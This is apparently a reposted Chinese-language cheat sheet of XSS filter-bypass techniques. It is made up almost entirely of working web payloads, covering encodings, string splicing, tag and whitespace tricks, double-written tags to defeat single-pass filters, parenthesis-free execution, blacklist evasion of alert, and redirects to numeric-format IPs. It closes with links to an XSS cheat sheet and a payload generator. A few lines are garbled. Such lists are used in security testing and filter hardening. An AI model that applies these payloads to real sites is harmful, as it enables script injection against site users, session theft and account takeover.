原文链接:基础8.1-XSS绕过小技巧
xss绕过小技巧 1.1 编码绕过
- url编码:javascript%3Aalert%281%29
- Hex编码:%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%35
- javascript编码:<img src=x onerror="javascript:alert('XSS')">
- US-ASCII编码:¼script¾alert(¢XSS¢)¼/script¾
- Unicode编码、Base64编码、JS8编码、JS16编码、Ascii编码等等
复制代码
1.2 利用字符串拼接(top、this、self、parent、frames、content、window等)- <details open ontoggle=top.alert(1)>
- <script>top["al"+"ert"](`xss`);</script>
- <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
- <img/src=1 onerror=window.alert(1)>
- <svg onload="a(this);function a(){}(alert`1`)">
复制代码
1.3 标签语法替换- <img/src="x"/onerror=alert("xss");>(/替换空格)
- <keygen autofocus onfocus=alert(1)> //仅限火狐
- <isindex type=image src=1 onerror=alert("xss")>//仅限于IE
- <link rel=import href="http://127.0.0.1/1.js">(在无CSP的情况下才可以)
复制代码
1.4 单次过滤- <imimgg srsrcc=x onerror=alert("xss");>
- <scri<script>pt>alert("hello world!")</scri</script>pt>
复制代码
1.5 拆解绕过[backcolor=rgba(0, 0, 0, 0.03)] - <img src="jav ascript:alert('XSS');">
- TAB编码:<img src="jav ascript:alert('XSS');">
- 换行符拆解:<img src="jav
- ascript:alert('XSS');">
- 回车拆解:<img src="jav
- ascript:alert('XSS');">
- 等
复制代码
1.6 添加混淆- 注析干扰:<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
- <SCRIPT>var a="\";alert("xss");//";</SCRIPT>
- <<script>alert("xss");//<</script>
- 标签优先级:<title><img src=</title>><img src=x onerror="alert(`xss`);">
复制代码
1.7 使用IP- 十进制:<img src="x" onerror=document.location=`http://2130706433/`>
- 八进制:<img src="x" onerror=document.location=`http://0177.0.0.01/`>
- 十六进制:<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>
复制代码
1.8 括号过滤
- <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
- <img/src=1 onerror="top.onerror=alert; throw 1">
- <img src=x onerror=alert`1`>
- <img src=1 onerror=alert%28%29>
- <img src=1 onerror=location="javascript:"+"aler"+"t%281%29">
复制代码
1.9 黑名单绕过(以alert(1)为例)- (alert)(1)
- a=alert,a(1)
- [1].find(alert)
- top["al"+"ert"](1)
- self[/al/.source+/ert/.source](1)
- al\u0065rt(1)
- frames['al\145rt'](1)
- content[8680439..toString(30)](1)
复制代码
2.赋值
- # 变量
- <img/src=1 onerror=_=alert,_(1)>
- <style onload=_=alert;_(1)>
- <details/open/ontoggle=_=alert;x=1;_`1`>
- <details open ontoggle=top[a='al',b='ev',b%2ba](prompt(1))>
- <details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
- <details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
- # 函数
- <img/src=1 onmouseover="a=alert,a`1`">
- # 属性
- <img src=1 alt=al lang=ert onerror=top[alt%2blang](1)>
复制代码
xss备忘单:https://portswigger.net/web-secu ... cripting/cheat-sheexsspayload在线生成器:http://xssfuzzer.com/fuzzer.html
|